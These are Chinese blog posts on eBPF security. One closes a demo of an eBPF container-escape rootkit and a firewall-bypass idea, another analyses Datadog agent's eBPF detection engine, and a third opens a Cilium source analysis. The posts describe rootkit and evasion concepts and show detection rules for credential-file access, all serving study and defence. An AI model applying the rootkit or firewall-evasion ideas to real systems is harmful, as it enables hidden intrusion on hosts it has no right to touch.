vmubuntu 5.11.0-41-generic #45-Ubuntu SMP Fri Nov 5 11:37:01 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux Linux 发行版 root@vmubuntu:/home/cfc4n#cat /etc/os-release NAME="Ubuntu" VERSION="21.04 (Hirsute Hippo)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 21.04" VERSION_ID="21.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=hirsute UBUNTU_CODENAME=hirsute 容器引擎版本 docker容器版本为20.10.12,比较新。 root@vmubuntu:/home/cfc4n#docker version Client: Docker Engine - Community Version: 20.10.12 API version: 1.41 Go version: go1.16.12 Git commit: e91ed57 Built: Mon Dec 13 11:45:34 2021 OS/Arch: linux/amd64 Context: default Experimental: true Server: Docker Engine - Community Engine: Version: 20.10.12 API version: 1.41 (minimum version 1.12) Go version: go1.16.12 Git commit: 459d0df Built: Mon Dec 13 11:43:42 2021 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.4.11 GitCommit: 5b46e404f6b9f661a205e28d59c982d3634148f8 runc: Version: 1.0.2 GitCommit: v1.0.2-0-g52b36a2 docker-init: Version: 0.19.0 GitCommit: de40ad0 镜像版本 容器镜像版本 root@vmubuntu:/home/cfc4n# docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu21 latest 5355960aa2c5 5 days ago 119MB ubuntu hirsute d662230a2592 3 weeks ago 80MB ubuntu latest ba6acccedd29 2 months ago 72.8MB python 3.7.9-alpine3.11 8b32838a7ca6 11 months ago 41.9MB 环境 系统账号文件hash root@vmubuntu:/home/cfc4n# md5sum /etc/passwd /etc/shadow f43a244c13b639a41a8f555b28c1ff27 /etc/passwd 31dd98746685de12d8b6fb40ef22975e /etc/shadow 演示视频 B 站 1080P原画 :https://www.bilibili.com/video/BV1f34y1z7nN/ 检测防御 视频演示了eBPF技术的强大,只使用了tracepoint一个bpf prog类型实现容器逃逸与隐藏root的rootkit,不改动任何文件,用户态全程无感知。而eBPF还支持kprobe/kretprobe、uprobe/uretprobe、XDP、TC、socket、cgroup等程序类型,覆盖文件、网络、socket、syscall等事件,都是可以被黑客利用的地方。 比如,在XDP层实现一个IP转换,利用http(80端口)来透传sshd(22端口)的通信,完成绕过防火墙的目的,而主机的网络防火墙完全感知不到,更无法溯源出网络通信来源,就问你,可怕不可怕? 那针对这些威胁,站在防御者角度,该如何防范?eBPF实现的rootkit不同于常规rootkit,本身不改变函数地址、代码,防御检测的思路会有什么差别呢? 笔者近期将在「美团安全应急响应中心」微信公众号跟大家分享,敬请期待。 (已更新至: https://www.cnxct.com/evil-use-ebpf-and-how-to-detect-ebpf-rootkit-in-linux/ ) 最后 临近元旦,祝大家玩得开心,我们...节后见。 2021-12-30 2 0
datadog的eBPF安全检测机制分析 前言 代码版本为 datadog-Agent 2021年12月9日的 c9ddf6e854276cfc91aabe76415a203e17de5355 datadog-agent产品架构 在该产品相关演讲PPT里,找到了产品介绍资料--Runtime Security Monitoring with eBPF ,里面不仅包含产品架构图,还有总结了当下快速变化的架构下,如何实现运行时安全监控收集应用级别与容器级别的上下文,实现安全事件感知的思路。 架构图如下: 工程视角分析 invoke是python的任务管理工具,在这个项目里重度依赖,需要提前安装好。 python管理编译 invoke agent.build是官方文档介绍中用来编译项目的命令。invoke --list会显示当前项目所有可使用的命令列表。该命令会读取tasks目录下python的脚本,读取可执行函数。 本文重点在于eBPF相关功能实现,故只列出eBPF相关命令 cfc4n@vmubuntu:~/project/datadog-agent$ invoke --list Available tasks: ... system-probe.build Build the system_probe system-probe.clang-format Format C code using clang-format system-probe.clang-tidy Lint C code using clang-tidy system-probe.generate-cgo-types system-probe.generate-runtime-files system-probe.nettop Build and run the `nettop` utility for testing system-probe.object-files object_files builds the eBPF object files system-probe.test Run tests on eBPF parts ... 通过阅读源码、查阅资料,确定核心的eBPF源码都在system-probe.build命令中生成,并编译成.o的eBPF字节码。这个命令,会调用tasks\system_probe.py中build函数,再调用build_object_files来生成所有probe的eBPF字节码。这些probe字节码按照业务类型来划分,可以分为网络、runtime两类。 网络probe编译 build_network_ebpf_files函数会调用clang命令,编译链接pkg/network/ebpf/c/prebuild目录下4个文件,生成对应的bc与o文件 dns.c http.c offset-guess.c tracer.c runtime probe编译 合并生成runtime-security.c generate_runtime_files函数会调用go命令,合并生成runtime-security.c文件。 合并的命令是调用了go generate命令,选择tags参数为linux_bpf go generate -mod=mod -tags linux_bpf ./pkg/collector/corechecks/ebpf/probe/oom_kill.go go generate -mod=mod -tags linux_bpf ./pkg/collector/corechecks/ebpf/probe/tcp_queue_length.go go generate -mod=mod -tags linux_bpf ./pkg/network/http/compile.go go generate -mod=mod -tags linux_bpf ./pkg/network/tracer/compile.go go generate -mod=mod -tags linux_bpf ./pkg/network/tracer/connection/kprobe/compile.go go generate -mod=mod -tags linux_bpf ./pkg/security/probe/compile.go 在这些go文件的头部,有相应的go:generate指令,调用根目录的pkg/ebpf/include_headers.go来合并对应文件,并保存到pkg/ebpf/bytecode/build/runtime/目录下,生成的文件包括如下几个C文件。 conntrack.c http.c oom-kill.c runtime-security.c tcp-queue-length.c tracer.c 同时,在pkg/ebpf/bytecode/runtime/目录下生成相应的.go文件。 编译链接eBPF字节码 bindata_files.extend(build_security_ebpf_files(ctx, build_dir=build_dir, parallel_build=parallel_build)) system_probe.py的613行会调用的build_security_ebpf_files函数,调用外部命令clang编译生产bc文件,并调用llc链接bc文件生产.o的字节码。 clang -D__KERNEL__ -DCONFIG_64BIT -D__BPF_TRACING__ -DKBUILD_MODNAME=\\"ddsysprobe\\" -Wno-unused-value -Wno-pointer-sign -Wno-compare-distinct-pointer-types -Wunused -Wall -Werror -include ./pkg/ebpf/c/asm_goto_workaround.h -O2 -emit-llvm -fno-stack-protector -fno-color-diagnostics -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-jump-tables -I./pkg/ebpf/c -I./pkg/security/ebpf/c -DUSE_SYSCALL_WRAPPER=0 -c \'./pkg/security/ebpf/c/prebuilt/probe.c\' -o \'./pkg/ebpf/bytecode/build/runtime-security.bc bundle_files函数会对上面生成的文件一并进行编译链接。 go run github.com/shuLhan/go-bindata/cmd/go-bindata -tags 'ebpf_bindata' -split -pkg bindata -prefix 'pkg/.*/' -modtime 1 -o './pkg/ebpf/bytecode/bindata' './pkg/ebpf/bytecode/build/runtime-security.o' './pkg/ebpf/bytecode/build/runtime-security-syscall-wrapper.o' probe 模块编译 go build -mod=mod -v -a -tags "kubeapiserver python zk ec2 npm apm consul orchestrator systemd process jetson cri zlib containerd jmx podman clusterchecks netcgo secrets docker gce etcd kubelet linux_bpf" -o ./bin/system-probe/system-probe -gcflags="" -ldflags="-X github.com/DataDog/datadog-agent/pkg/version.Commit=c9ddf6e85 -X github.com/DataDog/datadog-agent/pkg/version.AgentVersion=7.34.0-devel+git.124.c9ddf6e -X github.com/DataDog/datadog-agent/pkg/serializer.AgentPayloadVersion=v5.0.4 -X github.com/DataDog/datadog-agent/pkg/config.ForceDefaultPython=true -X github.com/DataDog/datadog-agent/pkg/config.DefaultPython=3 " github.com/DataDog/datadog-agent/cmd/system-probe 从编译参数可以看出,核心的probe功能都在 cmd/system-probe 这个包里,这个包会独立编译成一个进程,也就是说,我们分析的ebpf使用相关功能都在这个包里。 datadog的probe hook点 在cmd/system-probe包里,一共5个模块分别是 NetworkTracerModule ModuleName = "network_tracer" OOMKillProbeModule ModuleName = "oom_kill_probe" TCPQueueLengthTracerModule ModuleName = "tcp_queue_length_tracer" SecurityRuntimeModule ModuleName = "security_runtime" ProcessModule ModuleName = "process" 同时,上面编译生产的eBPF字节码文件中,只有6个,分别是 dns.o / dns-debug.o http.o / http-debug.o offset-guest.o / offset-guest-debug.o runtime-security.o runtime-security-syscell-wrapper.o tracer.o /tracer-debug.o 从文件名来看,并不能与模块名一一匹配,那么,他们是如何加载的呢? NetworkTracerModule模块 eBPF字节码加载 网络跟踪模块tracer.NewTracer初始化时,判断配置中是否启用运行时编译配置,若启用,则调用runtime.Tracer.Compile进行源码编译,应该是暂时没实现CO-RE,需要每个主机上进行一次编译。 如果没启用运行时编译,则调用了netebpf.ReadOffsetBPFModule来加载之前编译生成的offset-guess.o,如果启动了调试模式,则加载offset-guess-debug.o。 模块管理器初始化 newManager函数初始化manager.Manager结构体时,初始化了eBPF maps跟eBPF probe列表。 probe probe列表覆盖TCP、UDP的链接创建、发送数据、关闭链接等事件(包含入口、出口),支持IPv4\IPv6,并针对linux kernel 4.7以上版本做了更多HOOK点。 从安全场景来看,建模所需数据,也满足网络后门的需求。 // pkg/network/ebpf/probes/probes.go // InetCskListenStop traces the inet_csk_listen_stop system call (called for both ipv4 and ipv6) InetCskListenStop ProbeName = "kprobe/inet_csk_listen_stop" // TCPv6Connect traces the v6 connect() system call TCPv6Connect ProbeName = "kprobe/tcp_v6_connect" // TCPv6ConnectReturn traces the return value for the v6 connect() system call TCPv6ConnectReturn ProbeName = "kretprobe/tcp_v6_connect" // TCPSendMsg traces the tcp_sendmsg() system call TCPSendMsg ProbeName = "kprobe/tcp_sendmsg" // TCPSendMsgPre410 traces the tcp_sendmsg() system call on kernels prior to 4.1.0. This is created because // we need to load a different kprobe implementation TCPSendMsgPre410 ProbeName = "kprobe/tcp_sendmsg/pre_4_1_0" // TCPSendMsgReturn traces the return value for the tcp_sendmsg() system call // XXX: This is only used for telemetry for now to count the number of errors returned // by the tcp_sendmsg func (so we can have a # of tcp sent bytes we miscounted) TCPSendMsgReturn ProbeName = "kretprobe/tcp_sendmsg" // TCPGetSockOpt traces the tcp_getsockopt() kernel function // This probe is used for offset guessing only TCPGetSockOpt ProbeName = "kprobe/tcp_getsockopt" // SockGetSockOpt traces the sock_common_getsockopt() kernel function // This probe is used for offset guessing only SockGetSockOpt ProbeName = "kprobe/sock_common_getsockopt" // TCPSetState traces the tcp_set_state() kernel function TCPSetState ProbeName = "kprobe/tcp_set_state" // TCPCleanupRBuf traces the tcp_cleanup_rbuf() system call TCPCleanupRBuf ProbeName = "kprobe/tcp_cleanup_rbuf" // TCPClose traces the tcp_close() system call TCPClose ProbeName = "kprobe/tcp_close" // TCPCloseReturn traces the return of tcp_close() system call TCPCloseReturn ProbeName = "kretprobe/tcp_close" // We use the following two probes for UDP sends IPMakeSkb ProbeName = "kprobe/ip_make_skb" IP6MakeSkb ProbeName = "kprobe/ip6_make_skb" IP6MakeSkbPre470 ProbeName = "kprobe/ip6_make_skb/pre_4_7_0" // UDPRecvMsg traces the udp_recvmsg() system call UDPRecvMsg ProbeName = "kprobe/udp_recvmsg" // UDPRecvMsgPre410 traces the udp_recvmsg() system call on kernels prior to 4.1.0 UDPRecvMsgPre410 ProbeName = "kprobe/udp_recvmsg/pre_4_1_0" // UDPRecvMsgReturn traces the return value for the udp_recvmsg() system call UDPRecvMsgReturn ProbeName = "kretprobe/udp_recvmsg" // UDPDestroySock traces the udp_destroy_sock() function UDPDestroySock ProbeName = "kprobe/udp_destroy_sock" // UDPDestroySockrReturn traces the return of the udp_destroy_sock() system call UDPDestroySockReturn ProbeName = "kretprobe/udp_destroy_sock" // TCPRetransmit traces the return value for the tcp_retransmit_skb() system call TCPRetransmit ProbeName = "kprobe/tcp_retransmit_skb" TCPRetransmitPre470 ProbeName = "kprobe/tcp_retransmit_skb/pre_4_7_0" // InetCskAcceptReturn traces the return value for the inet_csk_accept syscall InetCskAcceptReturn ProbeName = "kretprobe/inet_csk_accept" // InetBind is the kprobe of the bind() syscall for IPv4 InetBind ProbeName = "kprobe/inet_bind" // Inet6Bind is the kprobe of the bind() syscall for IPv6 Inet6Bind ProbeName = "kprobe/inet6_bind" // InetBind is the kretprobe of the bind() syscall for IPv4 InetBindRet ProbeName = "kretprobe/inet_bind" // Inet6Bind is the kretprobe of the bind() syscall for IPv6 Inet6BindRet ProbeName = "kretprobe/inet6_bind" // SocketDnsFilter is the socket probe for dns SocketDnsFilter ProbeName = "socket/dns_filter" // SockMapFdReturn maps a file descriptor to a kernel sock SockMapFdReturn ProbeName = "kretprobe/sockfd_lookup_light" // IPRouteOutputFlow is the kprobe of an ip_route_output_flow call IPRouteOutputFlow ProbeName = "kprobe/ip_route_output_flow" // IPRouteOutputFlow is the kretprobe of an ip_route_output_flow call IPRouteOutputFlowReturn ProbeName = "kretprobe/ip_route_output_flow" // ConntrackHashInsert is the probe for new conntrack entries ConntrackHashInsert ProbeName = "kprobe/__nf_conntrack_hash_insert" // SockFDLookup is the kprobe used for mapping socket FDs to kernel sock structs SockFDLookup ProbeName = "kprobe/sockfd_lookup_light" // SockFDLookupRet is the kretprobe used for mapping socket FDs to kernel sock structs SockFDLookupRet ProbeName = "kretprobe/sockfd_lookup_light" // DoSendfile is the kprobe used to trace traffic via SENDFILE(2) syscall DoSendfile ProbeName = "kprobe/do_sendfile" // DoSendfileRet is the kretprobe used to trace traffic via SENDFILE(2) syscall DoSendfileRet ProbeName = "kretprobe/do_sendfile" maps 在初始化的map中,分为两类,一类是BPF_MAP_TYPE_PERF_EVENT_ARRAY的map,但只有ConnCloseEventMap BPFMapName = "conn_close_event"这一个。其他的都是别的类型map。 对于ConnCloseEventMap这个map,使用perfHandlerTCP函数来处理DataChannel和LostChannel两类事件。 这里最终是把数据发送给每个网络客户端。 对于PerfEventArray类的map数据,使用dumpMapsHandler来统一处理事件,实现比较粗糙,直接打印出来。 整个模块中,内核态与用户态交互的map列表如下 // pkg/network/ebpf/probes/probes.go // BPFMapName stores the name of the BPF maps storing statistics and other info type BPFMapName string const ( ConnMap BPFMapName = "conn_stats" TcpStatsMap BPFMapName = "tcp_stats" ConnCloseEventMap BPFMapName = "conn_close_event" TracerStatusMap BPFMapName = "tracer_status" PortBindingsMap BPFMapName = "port_bindings" UdpPortBindingsMap BPFMapName = "udp_port_bindings" TelemetryMap BPFMapName = "telemetry" ConnCloseBatchMap BPFMapName = "conn_close_batch" ConntrackMap BPFMapName = "conntrack" ConntrackTelemetryMap BPFMapName = "conntrack_telemetry" SockFDLookupArgsMap BPFMapName = "sockfd_lookup_args" DoSendfileArgsMap BPFMapName = "do_sendfile_args" SockByPidFDMap BPFMapName = "sock_by_pid_fd" PidFDBySockMap BPFMapName = "pid_fd_by_sock" ) 可以看到,不仅提供了网络的数据,还提供了网络产生的进程ID的数据,安全威胁建模上,可以更好的关联到进程数据了。 probe点 在完成eBPF字节码读取后,开始读取当前模块的probe点信息,当前模块启用的probe点包含TCP的链接创建、UDP的信息发送。在kernel大于4.7版本上,会对^ip6_make_skb$函数进行hook。并按照配置支持IPv4/IPv6两种IP模式。 datadog-agent使用了自研的DataDog/ebpf类库,基于系统调用封装的ebpf管理模块,实现了setion加载、probe加载处理、过滤,event map读取包等功能。 在加载字节码后,开始启动probe的初始化 配置激活的probes 修改eBPF常量 修改map spec 修改program maps 加载pinned maps和programs到内核 使用验证器加载eBPF program到内核 eBPF maps读取 网络跟踪模块的maps读取分三种,分为TCP链接关闭事件、TCP链接列表map、TCP状态map三种。 在pkg/network/tracer/connection/kprobe/tracer.go使用newMapIterator函数对eBPF map进行迭代读取。 在加载eBPF程序到内核后, 遍历PerfMaps,开协程读取perfbuf事件,使用前面设置的LostHandler和DataHandler两个函数来毁掉消费数据。 挂载probe点到系统,让系统生产事件,并发送到map。 检查probe的选择器 更新模块的Map属性路由规则 更新模块的program的路由规则 HTTP 接口 在向外提供数据里,除了提供了统计当前链接总数等常规需求外,还提供了debug需求的数据,提供当前模块的eBPF数据大盘数据。 同时,在HTTP接口的服务器启动是,会根据配置选择启动相关metrics的模块,加载相应tracer.o/tracer-debug.o、http.o/http-debug.o、dns.o/dns-debug.o、offset-guess.o/offset-guess-debug.o、 OOMKillProbe模块 该模块从名字上来看是用来hook linux系统上OOM(Out Of Memory)发生时相关进程名、次数等信息,业务功能上比较简单。 eBPF字节码加载 不支持编译好的.o字节码加载,直接即时编译。 compiledOutput, err := runtime.OomKill.Compile(cfg, nil) 编译过程跟用统一的封装函数,不在赘述。 模块管理器初始化 同理,map跟probe比较少。分别是oom_statsmap 与 kprobe/oom_kill_process probe。(笔者吐槽一下,这里的map名字是硬编码的字符串,跟网络跟踪模块NetworkTracer不一样,非常不统一,以及搭建分析过程中的各种起码做法,简直无法理解,这代码简直是当代屎山。) 数据读取 OOM数据是以HTTP接口方式,提供给客户端调用的,HTTP接口调用时,OOMKillProbe.GetAndFlush函数会读取oom_statsmap里的所有数据,并清空map。将结果返回给HTTP response。 Process 模块 当前模块名字上来看,是用于提供进程数据的接口,但从代码分析上来,并不涉及eBPF probe的HOOK。提供的HTTP接口,也只是根据HTTP request中的PIDS,遍历/proc/{PID}/目录获取相应的进程数据。 SecurityRuntime模块 模块管理器初始化 system-probe包的runCmd命令启动时,把包的所有模块都注册启动了。函数的调用顺序是 run(...) ->StartSystemProbe() ->api.StartServer(cfg) ->module.Register(cfg, mux, modules.All) //module是package的名字 ->module.Register(router) //module是模块名字, module, err := factory.Fn(cfg) 调用每个probe 模块的Register方法,进行模块初始化、模块运行,比如SecurityRuntime模块,在pkg/security/module/module.go的71行 // Register the runtime security agent module func (m *Module) Register(_ *module.Router) error { if err := m.Init(); err != nil { return err } return m.Start() } eBPF字节码加载 在Init方法中,对eBPF 的probe模块进行初始化 // initialize the eBPF manager and load the programs and maps in the kernel. At this stage, the probes are not // running yet. if err := m.probe.Init(m.statsdClient); err != nil { return errors.Wrap(err, "failed to init probe") } USE_SYSCALL_WRAPPER 在模块初始化第一步,读取/proc/kallsyms,搜索open函数的具体syscall函数名,以笔者AMD64 ubuntu 21.04为例,对应的函数名为__x64_sys_open。 如果该函数不包含SyS_或者sys_,则设定useSyscallWrapper变量为true。 编译或加载 根据配置信息中是否启用运行时编译,决定编译或者加载编译好的.o字节码文件。 若编译,则调用runtime.RuntimeSecurity.Compile编译,CLANG编译参数的cflags中增加DUSE_SYSCALL_WRAPPER=1参数。编译过程机制与网络模块一致,略过。 如果是加载预编译,根据useSyscallWrapper的值,选择runtime-security.o或者runtime-security-syscall-wrapper.o相应的版本。 笔者注:关于这参数,网上信息特别少,参见C library system-call wrappers, or the lack thereof和glibc syscall wrapper 内部实现 加载机制跟网络模块一样,走datadog/ebpf-manager包的Manager.InitWithOptions统一处理,不再赘述。 datadog/ebpf-manager基于github.com/cilium/ebpf包做了封装。 perfMap事件处理 handle的设定,与网络模块一样,在模块的managerOptions设置时,做了赋值 //pkg/security/probe/probe.go 160行 p.perfMap.PerfMapOptions = manager.PerfMapOptions{ DataHandler: p.reOrderer.HandleEvent, LostHandler: p.handleLostEvents, } p.reOrderer.HandleEvent对perfMap处理时,增加了metric的统计信息,之后调用p.handleEvent来处理。该函数定义在 pkg/security/probe/probe.go中。 单向写入 在内核态中,所有probe hook的点产生的时间,都写入到events这个perfMap中。 普通Map管理 datadog-agent的用户态与内核态数据交互需求上,也实现也基于eBPF map的双向读写。 concurrent_syscalls exec_count_bb exec_count_fb noisy_processes_fb proc_cache pid_cache 内核态读写 这些map在内核态会被写入数据,而在用户态会用于查找、删除操作。 比如,进程创建时,触发SEC("kprobe/do_dentry_open") HOOK点后,内核态调用handle_exec_event函数会先查询proc_cache map是否有当前进程对应父进程的数据,之后再把自己进程信息存入proc_cache map。 用户态读 在用户态,也可以根据PID信息查找pid_cache map ,拿到cookie后,再到proc_cache map查询进程entry信息。 events的数据结构 在SecurityRuntime模块里,eBPF map用在内核态与用户态通讯时,使用统一封装的Event结构体,在eBPF 的内核态对应struct syscall_cache_t,包含多个事件类型的union struct。 events解析派发 用户态的go语言中,采用统一封装的大结构体Event解析内核态发来的数据。event.UnmarshalBinary读取包header信息,设定事件类型,再根据事件类型交付给Event的对应属性,对应解码方法解析消息内容。比如Event.Chmod.UnmarshalBinary来解码字节流。以下是Go中结构体的: // pkg/security/secl/model/model.go line 118 type Event struct { ID string `field:"-"` Type uint64 `field:"-"` TimestampRaw uint64 `field:"-"` Timestamp time.Time `field:"timestamp"` // Timestamp of the event ProcessContext ProcessContext `field:"process" event:"*"` SpanContext SpanContext `field:"-"` ContainerContext ContainerContext `field:"container"` Chmod ChmodEvent `field:"chmod" event:"chmod"` // [7.27] [File] A file’s permissions were changed Chown ChownEvent `field:"chown" event:"chown"` // [7.27] [File] A file’s owner was changed Open OpenEvent `field:"open" event:"open"` // [7.27] [File] A file was opened Mkdir MkdirEvent `field:"mkdir" event:"mkdir"` // [7.27] [File] A directory was created Rmdir RmdirEvent `field:"rmdir" event:"rmdir"` // [7.27] [File] A directory was removed Rename RenameEvent `field:"rename" event:"rename"` // [7.27] [File] A file/directory was renamed Unlink UnlinkEvent `field:"unlink" event:"unlink"` // [7.27] [File] A file was deleted Utimes UtimesEvent `field:"utimes" event:"utimes"` // [7.27] [File] Change file access/modification times Link LinkEvent `field:"link" event:"link"` // [7.27] [File] Create a new name/alias for a file SetXAttr SetXAttrEvent `field:"setxattr" event:"setxattr"` // [7.27] [File] Set exteneded attributes RemoveXAttr SetXAttrEvent `field:"removexattr" event:"removexattr"` // [7.27] [File] Remove extended attributes Exec ExecEvent `field:"exec" event:"exec"` // [7.27] [Process] A process was executed or forked SetUID SetuidEvent `field:"setuid" event:"setuid"` // [7.27] [Process] A process changed its effective uid SetGID SetgidEvent `field:"setgid" event:"setgid"` // [7.27] [Process] A process changed its effective gid Capset CapsetEvent `field:"capset" event:"capset"` // [7.27] [Process] A process changed its capacity set SELinux SELinuxEvent `field:"selinux" event:"selinux"` // [7.30] [Kernel] An SELinux operation was run BPF BPFEvent `field:"bpf" event:"bpf"` // [7.33] [Kernel] A BPF command was executed Mount MountEvent `field:"-"` Umount UmountEvent `field:"-"` InvalidateDentry InvalidateDentryEvent `field:"-"` ArgsEnvs ArgsEnvsEvent `field:"-"` MountReleased MountReleasedEvent `field:"-"` } 这里实现了多event类型的统一处理,但各个event之间耦合严重,event类型增加减少都需要影响上层代码,从设计模式上来看,问题比较大。并且,大的结构体的实力化也带来较大的内存占用,冗余严重。这里设计很差。 在内核发送来的事件处理上,针对进程事件除了解析之外,还有额外调用ProcessResolver.AddExecEntry将进程创建数据缓存。便于HTTP接口获取当前主机进程的全量列表。 统计对账 在handleEvent处理事件的同时,调用了perfBufferMonitor.CountEvent对事件的类型、时间、次数、长度、CPU ID做了计数,用于事件完整率对账,同时间接的用于观测当前系统的事件量大小,用作评估系统繁忙的间接依据。 事件威胁风险评估 Event结构体属性修正完后,*Probe.DispatchEvent将这个事件派发出去,送给规则引擎做安全模型评估。 规则引擎的实现,在NewRuleSet中,根据配置信息,针对不同的事件类型选择不同的规则集合,分别进行风险威胁评估。如果事件类型没有规则,则直接放过。 // 模块的HandleEvent调用ruleSet.Evaluate来评估事件。这里在处理多个事件时,采用了对象池的做法来管理内存。ruleSet规则集合中的eventRuleBuckets属性是模块的包含所有事件类型的总规则集合。 每种事件类型对应的bucket包含多个rules []*Rule, 评估时,遍历所有rules进行规则判断。 规则全匹配 如果命中规则,则将命中结果、命中规则信息、事件信息发送给规则的所有监听器(比如告警系统,关联事件处理器等) 规则部分匹配 如果没命中规则,则根据配置的每个字段,进行部分匹配判断, 若命中,则返回true。(但是,笔者看代码中,没发现有判断Evaluate函数的返回值) 若没命中,则准备丢弃,将事件与规则信息,发送给规则的所有监听器,以及发送到远程服务器,便于做规则调整。 风险检测规则引擎 实现上,是datadog自己做了一套AST语法分析的包,在pkg/security/secl/compiler下,识别的表达式,也是类似go语法的逻辑判断表达式。 规则配置时,只要根据上面Event的每个子event的属性来编写即可。比如 rules := []string{ `open.filename == "/etc/passwd" && process.uid != 0`, `(open.filename =~ "/sbin/*" || open.filename =~ "/usr/sbin/*") && process.uid != 0 && open.flags & O_CREAT > 0`, `(open.filename =~ "/var/run/*") && open.flags & O_CREAT > 0 && process.uid != 0`, `(mkdir.filename =~ "/var/run/*") && process.uid != 0`, } 规则字符串看上去比较直观,容易理解。 项目中,提供了一个默认的规则模版,在仓库里的runtime/default.policy 下。 事件结果上报 在规则引擎判断完威胁后,不论结果如何,都仍会将结果异步发送至远程数据中心。 这些上报的数据中,包含完整的内核态发送来的原始数据,以及本地规则引擎命中信息,识别结果等数据。方便远程数据中心做大数据分析、建模、验证、调整检测规则,来提升召回率和准确率。 TCPQueueLength模块 该模块与OOMKillProbe模块类似,只支持本地编译字节码,不支持加载预先编译的.o字节码。 业务功能上偏向于TCP的发送、接收包大小,与安全无关。加载机制上也与其他模块一直,故不再分析。 产品视角总结 datadog-agent支持包含windows、linux、IOT、android等多种系统平台,当然不同平台的支持程度不一样,本文的总结以支持eBPF的Linux为背景,给出这些总结。 业务特性区分不同map 产品中分别使用了*PerfMap对应BPF_MAP_TYPE_PERF_EVENT_ARRAY,这类业务对时间顺序有严格要求,事件读取后,会按照CPU时间排序。若对时间顺序无要求,则使用BPF_MAP_TYPE_ARRAY 、BPF_MAP_TYPE_LRU_HASH、BPF_MAP_TYPE_HASH等其他类型。 事件类型丰富 多个probe的字节码文件,支持包含系统运行时、网络、内核等事件的感知发送。包含 文件 权限变更 所有者变更 打开 目录创建 改名 软链 查看时间 别名 设置属性 移除属性 进程 进程创建 UID设置 GID设置 cap设置 内核 SELinux命令 BPF调用 系统 目录挂载 目录卸载 ARGS/ENGS设置 OOM事件 网络事件(IPv4/IPv6) TCP链接创建、发送数据、关闭链接 UDP链接创建、发送数据、关闭链接 SOCKET链接创建、发送数据、关闭链接 字段属性丰富 比如进程事件,包含 进程属性 进程文件系统属性 进程启动参数 环境变量 父进程信息(不全) 其他进程事件不在一一罗列,见pkg/security/secl/model/model.go内相关事件结构体。 多事件信息合并 在模块内部有部分事件的缓存,用于应对多个事件之间的关联,也可以用作本地规则引擎判断的数据补充。比如先设置环境变量,再执行进程创建命令。 配置识别判断规则远程下发 远程重新加载配置,以更新网络规则、安全事件识别规则。 多重事件风险判断 本地判断 包含完整匹配 部分匹配 远程判断、纠偏 本地判断更快的处理威胁场景,减轻远程数据中心处理压力。远程数据中心离线分析,威胁识别校验,感知新的威胁事件,优化改进识别规则。新规则快速应用到本地,提升检出效率。 事件数据管理 灵活注册事件接收器 事件数据监控(告警在远程服务器) 事件数据统计对账 linux多版本支持 不支持CO-RE,采用本地编译方式,依赖本地编译环境,不适合大型企业的HIDS场景。 以我司为例,内核版本分布相对清晰,版本种类不多,更适合预先编译相应字节码文件,HIDS Agent按照系统版本加载相应的字节码文件。 总结 datadog的system-probe模块使用了eBPF技术研发,实现了网络管理、运行时安全、系统状态感知等几个功能,支持运维、安全两个场景。其中核心模块在网络与运行时安全两个场景。故本文重点分析了这两个场景的技术实现与业务特性。 优点: 在上面产品视角分析中已经提到了。是一个功能、数据比较齐全的安全产品,数据满足各种入侵类型的建模,并且有多重安全模型分析机制,具备良好的事件上报、监控告警能力,具备数据统计、对账能力。 不足: 该产品以安全数据收集、检测为主,缺少安全防御功能。在已有功能中,没有看到限速限流、资源占用控制等功能。 在工程质量上吐槽点特别多,比如奇葩包的路径、几十种go package的go/C混编译、跨包修改变量、go generate/go build 乱调、混合C/C++/go/python多种语言、自定义N种go build tags、硬编码严重、部分功能耦合严重、扩展性差。这可能就是历经N年,多代程序员累计的shitcode屎山吧。 参考资料 https://github.com/DataDog/datadog-agent Runtime Security Monitoring with eBPF 2021-12-16 0 0
Cilium eBPF实现机制源码分析 目的 本文面向eBPF开发者,旨在研究学习高质量开源产品设计思路、编码规范,学习更好得使用eBPF方法经验。内容比较干燥,谨慎阅读。 本文涉及cilium代码版本为2021-08-17的1695d9c59a版本 Cilium产品介绍 Cilium是由革命性内核技术eBPF驱动,用于提供、保护和观察容器工作负载(云原生)之间的网络连接的网络组件。 Cilium使用eBPF的强大功能来加速网络,并在Kubernetes中提供安全性和可观测性。现在 Cilium将eBPF的优势带到了Service Mesh的世界。Cilium服务网格使用eBPF来管理连接,实现了服务网格必备的流量管理、安全性和可观测性。 项目理解 从Cilium的架构图来看,位于容器编排系统和Linux Kernel之间,使用eBPF技术来控制容器网络的转发行为以及安全策略执行。其使用的eBPF功能包括宿主机网卡流量控制,容器container功能管理等。与系统交互的模块是Cilium Daemon,负责eBPF字节码生成、字节码注入到linux kernel,并进行数据读取等。 所以,本文重点将放在Cilium Daemon实现上。 Cilium Daemon模块在源码里对应https://github.com/cilium/cilium/tree/master/daemon目录,从main.go主文件开始阅读即可。但在阅读之前,先对cilium项目的目录结构做一个认识。 目录结构: 当前目标是理解分析cilium的eBPF应用,故笔者在总结时,只列出eBPF相关代码。 按照cilium官方的文档介绍github.com/cilium/cilium,从目录结构中,摘录了eBPF相关的目录。 顶级目录 bpf : eBPF datapath收发包路径相关代码,eBPF源码存放目录。 daemon : 各node节点上运行的cilium-agent代码,也是跟内核做交互,处理eBPF相关的核心代码。 pkg : 项目依赖的各种包。 pkg/bpf : eBPF运行时交互的抽象层 pkg/datapath datapath交互的抽象层 pkg/maps eBPF map的描述定义目录 pkg/monitor eBPF datapath 监控器抽象 源码阅读 cilium C语言eBPF源码 源码功能分类 bpf目录下有很多eBPF实现的源码,文件列表如下 bpf_alignchecker.c C与Go的消息结构体格式校验 bpf_host.c 物理层的网卡tc ingress\egress相关过滤器 bpf_lxc.c 容器上的网络环境、网络流量管控等 bpf_network.c 网络控制相关 bpf_overlay.c 叠加网络控制代码 bpf_sock.c sock控制相关,包含流量大小控制、TCP状态变化控制 bpf_xdp.c XDP层控制相关 sockops 目录下有多个文件,用于sockops相关控制,流量重定向等性能优化。 cilium-probe-kernel-hz.c probe测试的,忽略 作用解释 关于上面eBPF文件源码的作用,在官网也有文档eBPF Datapath Introduction解释,笔者稍做整理。 